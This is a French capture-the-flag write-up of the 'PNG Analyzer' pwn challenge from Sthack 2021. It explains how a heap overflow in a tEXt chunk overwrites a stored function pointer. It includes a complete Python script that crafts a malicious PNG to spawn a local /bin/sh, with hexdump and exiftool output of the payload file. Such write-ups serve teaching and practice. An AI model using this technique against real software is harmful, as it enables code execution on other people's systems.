ZenSecCTF Team

ZenSec CTF Team write up page

19 October 2021

PWN - PNG Analyzer

by Vaelio

Fichier

Introduction

Pour ce challenge, il faut d’abord réussir à télécharger le binaire à exploiter. Lorsqu’on se connecte à l’index du site on peut remarquer que le site tente de charger http://dev.img.local/troll.png. Or ce nom de domaine ne résouds pas. C’est notre hint. Ici on va simplement éditer notre /etc/hosts afin de faire pointer localement le nom de domaine vers l’IP originale. À partir de là, dans le dossier upload, on peut trouver le binaire png_analyzer

Voilà les infos du programme :

~ 
❯ file ./Downloads/png_analyzer
./Downloads/png_analyzer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=94ea393d939b2f7e83e650bbe1206da5a834e15e, for GNU/Linux 3.2.0, not stripped

~ 
❯ checksec ./Downloads/png_analyzer
[*] '/home/user/Downloads/png_analyzer'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

TL;DR

En résumé le programme va prendre en argument un fichier à analyser, vérifier que le fichier est bien un PNG, va ensuite analyser chaque bloc de donnée du PNG et affichera les méta-donnés de tous les blocs de type tEXt avant de finir par exécuter la fonction do_nothing avec en paramètre le titre du bloc.

Par exemple, si nous avons dans notre PNG un bloc de type tEXt dont le titre est Comment alors le programme exécutera do_nothing("Comment"). La preuve en image:

Exploitation

Lorsqu’on reverse le binaire une chose nous saute aux yeux, le pointer vers do_nothing est stocké pour chaque bloc d’information dans le chunk qui lui est associé dans la heap.

Voici, en pseudo-code, la fonction parse_chunk qui parse les fameux bloc PNG:

On peut remarquer que l’écriture du pointer vers do_nothing se fait avant le memcpy.

On constate également que le programme va chercher le pointer vers do_nothing avant de l’exécuter:

Bingo ! Il suffit donc que notre chunk puisse réécrire ce pointer.

En conclusion, il faut donc:

Voilà rapidement un petit script assez moche permettant d’obtenir un fichier qui nous donnera un shell local:

#!/bin/env python3

from struct import pack
from os import system
import png


def mkImg():
    i = []
    for x in range(21):
        i.append([0,0,0,0])
    png.from_array(i, 'L').save("/tmp/test")
    buf = 'A'*0x1ffc + pack('<Q', 0x401160)
    with open('/tmp/buf', "w") as fd:
        fd.write(buf)
    system("exiftool -Comment=$(cat /tmp/buf) /tmp/test")
    with open("/tmp/test", "rb") as fd:
        content = fd.read()
    return content


def w(data):
    with open("/tmp/f", "wb") as fd:
        fd.write(data)



def main():
    data = mkImg()
    data = data[:41] + "/bin/sh\x00" + data[49:]
    w(data)



if __name__ == '__main__':
    main()


En bonus, un petit hexdump du fichier final et un exiftool

~
❯ hexdump -C /tmp/f
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 04 00 00 00 15  08 00 00 00 00 44 10 10  |.............D..|
00000020  9c 00 00 20 07 74 45 58  74 2f 62 69 6e 2f 73 68  |... .tEXt/bin/sh|
00000030  00 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |.AAAAAAAAAAAAAAA|
00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00002020  41 41 41 41 41 41 41 41  41 41 41 41 41 60 11 40  |AAAAAAAAAAAAA`.@|
00002030  76 b8 6c 27 00 00 00 0c  49 44 41 54 78 9c 63 60  |v.l'....IDATx.c`|
00002040  a0 13 00 00 00 69 00 01  11 3e ed a7 00 00 00 00  |.....i...>......|
00002050  49 45 4e 44 ae 42 60 82                           |IEND.B`.|
00002058
~
❯ exiftool /tmp/f
ExifTool Version Number         : 12.30
File Name                       : f
Directory                       : /tmp
File Size                       : 8.1 KiB
File Modification Date/Time     : 2021:10:18 12:29:49+02:00
File Access Date/Time           : 2021:10:18 17:04:07+02:00
File Inode Change Date/Time     : 2021:10:18 12:29:49+02:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 4
Image Height                    : 21
Bit Depth                       : 8
Color Type                      : Grayscale
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Binsh                           : AAAA[REDACTED]AAAA`.@
Image Size                      : 4x21
Megapixels                      : 0.000084

Conclusion

Un petit challenge plutôt simple, mais intéressant :+1:

<< Web - Online PDF Maker
Reverse - Tetris >>
tags: sthack2021 - pwn - ctf